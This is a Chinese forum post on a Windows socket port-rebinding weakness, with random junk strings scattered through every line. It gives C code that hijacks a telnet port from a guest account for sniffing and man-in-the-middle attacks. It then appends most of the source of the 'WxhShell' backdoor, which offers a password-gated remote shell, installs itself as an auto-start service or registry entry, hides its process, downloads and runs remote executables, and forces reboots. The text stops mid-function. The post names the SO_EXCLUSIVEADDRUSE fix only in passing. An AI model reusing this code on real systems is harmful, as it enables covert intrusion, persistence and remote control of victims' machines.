社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19740阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -PV1x1|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y?OP- 27y  
%mC@}  
  saddr.sin_family = AF_INET; irQ'Rm [  
L('1NN 2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $e+sqgU  
7I;kh`H$(f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aDdxR:  
*$=i1w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4<Vi`X7[F  
M FIb-*wT  
  这意味着什么?意味着可以进行如下的攻击: cK'g2S  
vK!`#W`X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 necY/&Ld-  
2iNLm6"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W{;Qi&^ca  
~ YH?wdT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _^E NRk@  
e \Qys<2r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !@& 3q|  
FW-I|kK.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J];Sj  
akvi^]x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -+E.I*st  
^xHKoOTj[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xc-["y64  
mI8EeMa{  
  #include `Na()r$T  
  #include "VZ1LVI  
  #include aMI;; iL^  
  #include    LhO\a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8~(xi<"e  
  int main() ?TA7i b_  
  { )M0`dy{1  
  WORD wVersionRequested; 5t:Zp\$+`  
  DWORD ret; yX!fj\R  
  WSADATA wsaData; 8xB-cE  
  BOOL val; u[)X="-e#  
  SOCKADDR_IN saddr; m4m-JD|v  
  SOCKADDR_IN scaddr; 58Ibje  
  int err; ^ 9+ Qxv  
  SOCKET s; v*.R<- X:  
  SOCKET sc; hi,=" /9  
  int caddsize; &>qUT]w  
  HANDLE mt; 7$<pdayd  
  DWORD tid;   &m3-][ !n  
  wVersionRequested = MAKEWORD( 2, 2 ); RQ E]=N  
  err = WSAStartup( wVersionRequested, &wsaData ); cb_C2+%8NA  
  if ( err != 0 ) { CtY-Gs  
  printf("error!WSAStartup failed!\n"); b d 1^  
  return -1; }{F)Ren  
  } Pk;w.)kT  
  saddr.sin_family = AF_INET; QYbB\Y  
   H?"M&mF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ovt]3`U9J  
P3Ql[ 2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cH&)Iz`f  
  saddr.sin_port = htons(23); -H%v6E%yh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;^/ruf[t  
  { Rs=Fcvl  
  printf("error!socket failed!\n"); 8;gi8Y  
  return -1; [r`KoHwdm  
  } ; $rQ  
  val = TRUE; 4r$#-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xVPSL#>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w>2lG3H<  
  { ]y {tMC  
  printf("error!setsockopt failed!\n"); :la i0> D  
  return -1; IRg2\Hq  
  }  /!ElAL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $^Xxn.B9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~);4O8~.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e]1=&:eX#d  
"]"0d[d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kZF]BPh.  
  { I7vP*YE 7F  
  ret=GetLastError(); 5.^pD9[mT  
  printf("error!bind failed!\n"); JA4Zg*7I  
  return -1; k^oSG1F  
  } bkJ bnW=  
  listen(s,2); .6gx|V+  
  while(1)  ,t 2CQ  
  { -o+t&m  
  caddsize = sizeof(scaddr); P' VHga  
  //接受连接请求 }tt%J[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1 fcV&qHR  
  if(sc!=INVALID_SOCKET) l-w4E"n3  
  { bbjba36RO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JM;bNW8  
  if(mt==NULL) ^X&`YXjuN  
  { | va@&;#wf  
  printf("Thread Creat Failed!\n"); )#AYb   
  break; OD'~t,St  
  } k1D7=&i  
  } Gxd/t#;  
  CloseHandle(mt); `&NFl'l1C  
  } v.W!  
  closesocket(s); "5eD >!  
  WSACleanup(); \];|$FQg  
  return 0; ?`TJ0("z"  
  }   &m5^ YN$b  
  DWORD WINAPI ClientThread(LPVOID lpParam) (m1m}* @  
  { W,~*pyLdO  
  SOCKET ss = (SOCKET)lpParam; ++~ G\T9H  
  SOCKET sc; 1tXc7NA<  
  unsigned char buf[4096]; dFg&|Lp  
  SOCKADDR_IN saddr; {b-C,J  
  long num; 6Y[&1c8  
  DWORD val; rv[BL.qV  
  DWORD ret; VQ!4( <XD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rX$-K\4W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R}Zaz3( Hd  
  saddr.sin_family = AF_INET; ANPG3^w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :G#%+,  
  saddr.sin_port = htons(23); wp:$Tqa$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8TYh&n=r  
  { eQQVfEvS  
  printf("error!socket failed!\n"); pJg:afCg  
  return -1; 0 iSNom}m  
  } ub 2'|CYw  
  val = 100; [%>*P~6nK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q"Bd-?9  
  { @d Qr^'h  
  ret = GetLastError(); 3wN4kltt  
  return -1; CH+%q+I  
  } TJP;!uX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7h9oY<W  
  { T2-x1Sw_  
  ret = GetLastError(); ?Ho$fGz  
  return -1; fXevr `  
  } h`fZ 8|yw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RCqL~7C+ k  
  { 3Dc^lfn  
  printf("error!socket connect failed!\n"); a?Om;-i2`S  
  closesocket(sc); ip'v<%,Q3"  
  closesocket(ss); -T+yS BO_3  
  return -1; J>dj]1I  
  } E2 'Al6^C  
  while(1) Ew}GPJ  
  { H?opG<R=ek  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fx 08>r   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w 8o?wx*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I-.? qcy~  
  num = recv(ss,buf,4096,0); gu3)HCZ  
  if(num>0) >`3 0 ib  
  send(sc,buf,num,0);  qjfv9sU  
  else if(num==0) ^ &KH|qRrO  
  break; ~i^,Z&X:  
  num = recv(sc,buf,4096,0); :%Z)u:~':  
  if(num>0) 9F,XjPK=  
  send(ss,buf,num,0); yMNOjs'c {  
  else if(num==0) FIn)O-<  
  break; $.DD^ "9  
  } RW>F %P  
  closesocket(ss); m$Tt y[0  
  closesocket(sc); )P1NX"A  
  return 0 ; ivdPF dJ  
  } }J5iY0  
/x-tl)(s=  
ICoZ<;p  
========================================================== L%9yFg%u  
avS9"e  
下边附上一个代码,,WXhSHELL gKU*@`6G  
UL7%6v{'*  
========================================================== ~R|fdD/%  
AF{o=@  
#include "stdafx.h" 'iYaA-9j  
uJ*|SSN~  
#include <stdio.h> YVY(uq)d  
#include <string.h> C~iFFh6:  
#include <windows.h> b(ryk./ogx  
#include <winsock2.h> Vfw +m1sS  
#include <winsvc.h> _}Gs9sHr0K  
#include <urlmon.h> RkdAzv!Y7  
# 9f 4{=\  
#pragma comment (lib, "Ws2_32.lib") 7Ph+Vs+h  
#pragma comment (lib, "urlmon.lib") `Geq,  
0@f7`D  
#define MAX_USER   100 // 最大客户端连接数 ,Ur~DXY  
#define BUF_SOCK   200 // sock buffer {iq{<;)U?U  
#define KEY_BUFF   255 // 输入 buffer HSl$ U0  
`.6Jgfu  
#define REBOOT     0   // 重启 ,/L_9wV-\  
#define SHUTDOWN   1   // 关机 1_W5@)  
N_!Zn"J  
#define DEF_PORT   5000 // 监听端口 of<>M4/g4y  
L3Q1az!Ct  
#define REG_LEN     16   // 注册表键长度 Q!%CU8!`&  
#define SVC_LEN     80   // NT服务名长度 I(WND/&  
~?A,GalS  
// 从dll定义API cmh/a~vYaY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I|[aa$G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?yz}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NOmSLIgt7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nuv$B >  
28+ Sz>SP  
// wxhshell配置信息 y+iuA@WCv  
struct WSCFG { : [vp.vw}/  
  int ws_port;         // 监听端口 [dL?N  
  char ws_passstr[REG_LEN]; // 口令 nBiA=+'v  
  int ws_autoins;       // 安装标记, 1=yes 0=no s.dn~|a  
  char ws_regname[REG_LEN]; // 注册表键名 d0Kg,HB  
  char ws_svcname[REG_LEN]; // 服务名 ?t.?f`(|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hp> J,m(*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L{CHAVkV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zck |jhJ6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f<'&_*7,|t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N<Q}4%^c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `TsfscN  
l1_X5DI  
}; m~NWY$oI9[  
Xhkw<XbV  
// default Wxhshell configuration <ct{D|mm  
struct WSCFG wscfg={DEF_PORT, #WpO9[b>  
    "xuhuanlingzhe", A8eli=W  
    1, 7iJk0L$]x  
    "Wxhshell", .r*b+rc;]  
    "Wxhshell", iii$)4V  
            "WxhShell Service", M[*:=C)H  
    "Wrsky Windows CmdShell Service", 't_=%^ q  
    "Please Input Your Password: ", c!\y\r  
  1, LP)mp cQ  
  "http://www.wrsky.com/wxhshell.exe", ptq{$Y{_  
  "Wxhshell.exe" u]MF r2  
    }; G7/LYTT)  
x}>tX  
// 消息定义模块 u!`C:C'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]R>k0X.V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ze\~-0ks +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IKr7"`  
char *msg_ws_ext="\n\rExit."; !<6wrOMaO  
char *msg_ws_end="\n\rQuit."; +m7 x>ie)  
char *msg_ws_boot="\n\rReboot..."; 6$dm-BI  
char *msg_ws_poff="\n\rShutdown..."; $xZk{ rK  
char *msg_ws_down="\n\rSave to "; f"0H9  
SCH![Amq  
char *msg_ws_err="\n\rErr!"; o%9>elOju  
char *msg_ws_ok="\n\rOK!"; _0j}(Q>|H#  
S+>]8ZY  
char ExeFile[MAX_PATH]; x)yf!Dv5$  
int nUser = 0; |f}NO~CA  
HANDLE handles[MAX_USER]; EhUy7b,1_  
int OsIsNt; RK3/!C`  
n*6s]iG V  
SERVICE_STATUS       serviceStatus; 7Y*m_AhxJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i:8^:(i  
Cw|SY  
// 函数声明 qRGb3l  
int Install(void); C[&&.w8Pm  
int Uninstall(void); v_@_J!s  
int DownloadFile(char *sURL, SOCKET wsh); +l/j6)O`(m  
int Boot(int flag); S'JeA>L  
void HideProc(void); KE&}*Nf[  
int GetOsVer(void); o%QQ7S3 P  
int Wxhshell(SOCKET wsl); HgBg,1  
void TalkWithClient(void *cs); -pGt ;  
int CmdShell(SOCKET sock); *(MvNN*  
int StartFromService(void); {n{}Y.  
int StartWxhshell(LPSTR lpCmdLine); dGteYt_F  
3ElpS^ 2W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l=]vC +mU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n1/lE)  
Wkk Nyg,  
// 数据结构和表定义 PC_4#6^5  
SERVICE_TABLE_ENTRY DispatchTable[] = &"h!SkX/  
{ ,< icW &a  
{wscfg.ws_svcname, NTServiceMain}, 7Mv$.Z(  
{NULL, NULL} .nH /=  
}; 6qJB"_.  
66Xt=US  
// 自我安装 *&0Hz{|  
int Install(void) 9|WWA%p  
{ ?^vZ{B)&0E  
  char svExeFile[MAX_PATH]; f,a %@WT  
  HKEY key; Lb{D5k*XU  
  strcpy(svExeFile,ExeFile); U[D<%7f  
ZtLn*M  
// 如果是win9x系统,修改注册表设为自启动 ?.4l1X6Ba  
if(!OsIsNt) { ncdr/(`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .am*d|&+G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {|E7N"Qzg  
  RegCloseKey(key); ,h._iO)I^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p,8Z{mLn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KTEis!w  
  RegCloseKey(key); VT7NWT J,  
  return 0; "'#Hh&Us  
    } \-0`%k"&  
  } Wd5t,8*8  
} y#DQOY+@^#  
else { *]6dV '  
W 8NA.  
// 如果是NT以上系统,安装为系统服务 yMkd|1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `7_LJ \>I  
if (schSCManager!=0) ~&:R\  
{ eFI4(Y  
  SC_HANDLE schService = CreateService \(FDR  
  ( _64@zdL+  
  schSCManager, OJ 5 !+#>  
  wscfg.ws_svcname, mD)O\.uA  
  wscfg.ws_svcdisp, 2AW{qwk7  
  SERVICE_ALL_ACCESS, q_&IZ,{Vk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *~uuCLv_  
  SERVICE_AUTO_START, ZRm\d3x4  
  SERVICE_ERROR_NORMAL, 3p W MS&  
  svExeFile, AZy2Pu56  
  NULL, [;AcV73  
  NULL, }AqD0Qd2Hj  
  NULL, AyO|9!F@A  
  NULL, _[o^23Hj  
  NULL Ig KAD#2a  
  ); I}IW!K  
  if (schService!=0) 2QRn c"  
  { |=T<WU1$  
  CloseServiceHandle(schService); [9_ (+E[}  
  CloseServiceHandle(schSCManager); Gnt!!1_8L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uP2a\C,$  
  strcat(svExeFile,wscfg.ws_svcname); K>6k@okO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s*~o%emw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DZ.trtK  
  RegCloseKey(key); "'B%.a#k  
  return 0; Sg>0P*K@  
    } !y~b;>887  
  } QJM!Wx+  
  CloseServiceHandle(schSCManager); 5qSZ>DZ  
} 9nS!  
} k#*yhG,]'  
#aX@mPm  
return 1; XSjelA?  
} 4"x;XVNM[  
iBC>w+t14  
// 自我卸载 ( v:ek_  
int Uninstall(void) !F#aodM1N  
{ qjzW9yV+  
  HKEY key; +|YZEC  
Q5n : f+  
if(!OsIsNt) { a BH1J]_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S{T d/1}  
  RegDeleteValue(key,wscfg.ws_regname); jY+S,lD  
  RegCloseKey(key); yKEFne8^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,D2_Z]  
  RegDeleteValue(key,wscfg.ws_regname); gCr|e}w-  
  RegCloseKey(key); PZRn6Tc  
  return 0; .{ a2z*o  
  } *;E+9^:V  
} {b0&qV   
} 'A!/pUML  
else { X6GkJ R  
$uK"@Mw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6n\z53Mk  
if (schSCManager!=0) A'QGTT  
{ Wx)U<:^e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \nAHpF  
  if (schService!=0) 2 U`W[  
  { hUvuq,LH_  
  if(DeleteService(schService)!=0) { >-5Gt  
  CloseServiceHandle(schService); SuH.lCF-g  
  CloseServiceHandle(schSCManager); M6iO8vY  
  return 0; yL x .#kx6  
  } vSC0D7BlG  
  CloseServiceHandle(schService); OrEuQ-,i@  
  } .`>l.gmi&  
  CloseServiceHandle(schSCManager); q,+kPhHEgy  
} t`YZ)>Ws  
} aC~n:0 v  
F*JvpI[7n  
return 1; (2bZ]  
} !aw#',r8m  
N^( lUba  
// 从指定url下载文件 ~gWd63%8x  
int DownloadFile(char *sURL, SOCKET wsh) apD=>O  
{ o?mXxL)  
  HRESULT hr; N46$EsO!h  
char seps[]= "/"; vd7N&c9  
char *token; 0$L0fhw.  
char *file; _OU.JrqC  
char myURL[MAX_PATH]; ;i9<y8Dha  
char myFILE[MAX_PATH];  Vm;Q w  
~/jxB)t  
strcpy(myURL,sURL); dEd]U49u  
  token=strtok(myURL,seps); TF0-?vBWh  
  while(token!=NULL) hdr}!w V  
  { JV]u(PL  
    file=token; IgVo%)n  
  token=strtok(NULL,seps); }pE~85h4M  
  } zP(=,)d  
v V6Lp  
GetCurrentDirectory(MAX_PATH,myFILE); SU%rWH  
strcat(myFILE, "\\"); (21 W6  
strcat(myFILE, file); tdnXPxn[  
  send(wsh,myFILE,strlen(myFILE),0); 2iPmCG  
send(wsh,"...",3,0); yOUX E>-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (ND5CKCR^  
  if(hr==S_OK) r3H}*Wpf  
return 0; ^/C $L8#  
else 1 73<x){  
return 1; Go\} A:|s  
Z#F,y)YiO  
} of'ZNQ/  
!q$&JZY  
// 系统电源模块 jxnQG A  
int Boot(int flag) En,)}yI  
{ ^\[LrPq e  
  HANDLE hToken; 12tJrS*Z  
  TOKEN_PRIVILEGES tkp; nRXSW&V"m  
kUg+I_j6*  
  if(OsIsNt) { UGmuX:@y76  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :qAc= IC%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k)5_1y  
    tkp.PrivilegeCount = 1; _iGU|$a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iL0jpa<}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wAu[pWD'6;  
if(flag==REBOOT) { xv$)u<Ve  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JXL9Gge  
  return 0; @Xve qUUU  
} S0N2rU  
else { (lN;xT`=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p<HTJ0  
  return 0; NDRW  
} XatA8(_,5  
  } Cgz&@@j,]  
  else { Z\|u9DO  
if(flag==REBOOT) { e|b~[|;*=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `&u<aLA  
  return 0; [Y22Wi  
} fwi};)K  
else { i!Dh &XT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !_U37Uj<m  
  return 0; [arTx ^  
} <o&o=Y8  
} *b Ci2mbm@  
a1g6}ym\  
return 1; VelB-vy&  
} jcEs10y  
f`hyYp`d5  
// win9x进程隐藏模块 \-Iny=$  
void HideProc(void) 0~+NB-L}  
{ iY ^{wi~?  
1m>^{u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |oe!P}u  
  if ( hKernel != NULL ) ?{ B[^  
  { TsaW5ho<p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g>~cs_N@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (VYR!(17  
    FreeLibrary(hKernel); 9Hf*cQ  
  } 83KfM!w  
h_&4p= SQ  
return; 3z,v#2  
} X~v4"|a  
~LawF_]6  
// 获取操作系统版本 I!fB1aq-  
int GetOsVer(void) c q*p9c  
{ _m9~*  
  OSVERSIONINFO winfo; b:P\=k]8#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x7 "z(rKl  
  GetVersionEx(&winfo); wv, GBZ-f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /x  
  return 1; 87^:<\pp  
  else \npz .g^c_  
  return 0; W\it+/  
} ;".z[l*  
klgv{_b  
// 客户端句柄模块 8yE!7$Mj  
int Wxhshell(SOCKET wsl) l60ikc4$I  
{ g!1I21M1~  
  SOCKET wsh; \f(Y:}9  
  struct sockaddr_in client; C(-[ Y!  
  DWORD myID; aGPqh,<QD  
Q0V^PDF  
  while(nUser<MAX_USER) O6y @G .+  
{ 2B HKS-J*  
  int nSize=sizeof(client); .aNO( /kO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7w "sJ  
  if(wsh==INVALID_SOCKET) return 1; f5@.^hi[  
89zuL18V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OuB2 x=B  
if(handles[nUser]==0) QF\kPk(CtD  
  closesocket(wsh); KHvIN}V5?3  
else "@.Z#d|Y  
  nUser++;  QTVa  
  } 3PsxOb+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d,)}+G  
0/ut:RV0  
  return 0; SK's!m:r=  
} ?E % +}P  
x.I][(}  
// 关闭 socket kr^0% A  
void CloseIt(SOCKET wsh) G9\EZ\x!  
{ cX2$kIs;  
closesocket(wsh); __ 8&Jv\  
nUser--; KzV.+f  
ExitThread(0); FyCBN tCv  
} YVoao#!  
[ L  
// 客户端请求句柄 p` $fTgm  
void TalkWithClient(void *cs) Jf2e<?`  
{ mv{<'  
s~L`53A  
  SOCKET wsh=(SOCKET)cs; M9gOoYf,~  
  char pwd[SVC_LEN]; y)P&]&"?  
  char cmd[KEY_BUFF]; c8T/4hU MN  
char chr[1]; Tru c[A.2Z  
int i,j; >GgE,h  
bn$)f6%  
  while (nUser < MAX_USER) { ,ohmc\*J  
^D>fis  
if(wscfg.ws_passstr) { ]*0(-@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 19'5Re&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _0K.Fk*(!  
  //ZeroMemory(pwd,KEY_BUFF); U<Vy>gIC  
      i=0; X1Qr _o-BR  
  while(i<SVC_LEN) { ThtMRB)9  
6_WmCtvF  
  // 设置超时 Z%#^xCz;w>  
  fd_set FdRead; jDkm:X}:  
  struct timeval TimeOut; {t&*>ma6)  
  FD_ZERO(&FdRead); d [r-k 2  
  FD_SET(wsh,&FdRead); yx2z%E  
  TimeOut.tv_sec=8; ]a M-p@  
  TimeOut.tv_usec=0; xWDR72 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fTcY"A,2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); avg4K*vv  
^;+[8:Kb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K!p,x;YX  
  pwd=chr[0]; R }1W  
  if(chr[0]==0xd || chr[0]==0xa) { . @@an;C  
  pwd=0; #G[t X6gU  
  break; ^+wk  
  } 40u7fojg2  
  i++; !~)90Z!  
    } u\f3qc,]F  
B_hPcmB  
  // 如果是非法用户,关闭 socket mg`j[<wp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f~q4{  
} L"^OdpOs  
k=`$6(>Fz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "CBRPp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #BsW  
P].eAAXnP  
while(1) { `kFiH*5%z  
r_^)1w  
  ZeroMemory(cmd,KEY_BUFF); \9w~pO  
GV5qdD(  
      // 自动支持客户端 telnet标准   a$}NW.  
  j=0; ytiyF2Kp  
  while(j<KEY_BUFF) { o,1Dqg4P3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >k;p.Pay%  
  cmd[j]=chr[0]; \%TyrY+`K  
  if(chr[0]==0xa || chr[0]==0xd) { \^0!|  
  cmd[j]=0; J1X~vQAe  
  break; _lX8K:C(  
  } ALXTR%f  
  j++; TdFT];:  
    } wG8 nw;  
f0DK>L  
  // 下载文件 wx*1*KZ  
  if(strstr(cmd,"http://")) { |4fF T `  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aBxiK[[`  
  if(DownloadFile(cmd,wsh)) ]ENK8bW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a.q;_5\5`  
  else x#r<,uNn,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nR[^|CAR  
  } rEM#D]k  
  else { at| \FOKj  
t"|DWC*  
    switch(cmd[0]) { L5f$TLw h;  
  :RiF3h(  
  // 帮助 FshC )[w,  
  case '?': { 2 x32U MD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e>AXXUEf  
    break; |@wyC0k!  
  } @^&7$#jq%  
  // 安装 mlB~V3M'G  
  case 'i': { YG`? o  
    if(Install()) kAo.C Nj7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o_$&XNC_  
    else ($8t%jVWJJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {[W(a<%bXm  
    break; ]Lm'RlV  
    } Q|c|2byb  
  // 卸载 i%F<AY\O)  
  case 'r': { Z!_n_F k  
    if(Uninstall()) n Q-mmY>#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,,Qt TGB  
    else (`c G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :h*a rT4{  
    break; Jzex]_:1~  
    } 50$W0L$  
  // 显示 wxhshell 所在路径 + >nr.,qo3  
  case 'p': { Q4Q pn  
    char svExeFile[MAX_PATH]; Ur3m[07H  
    strcpy(svExeFile,"\n\r"); WbcS: !0  
      strcat(svExeFile,ExeFile); 4TZ cc|B5  
        send(wsh,svExeFile,strlen(svExeFile),0); J# EP%  
    break; :c=.D;,  
    } cbYK5fj"T  
  // 重启 (s&&>M]r_  
  case 'b': { ? JXa~.dA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UQPU"F7.  
    if(Boot(REBOOT)) 5jZiJw(  
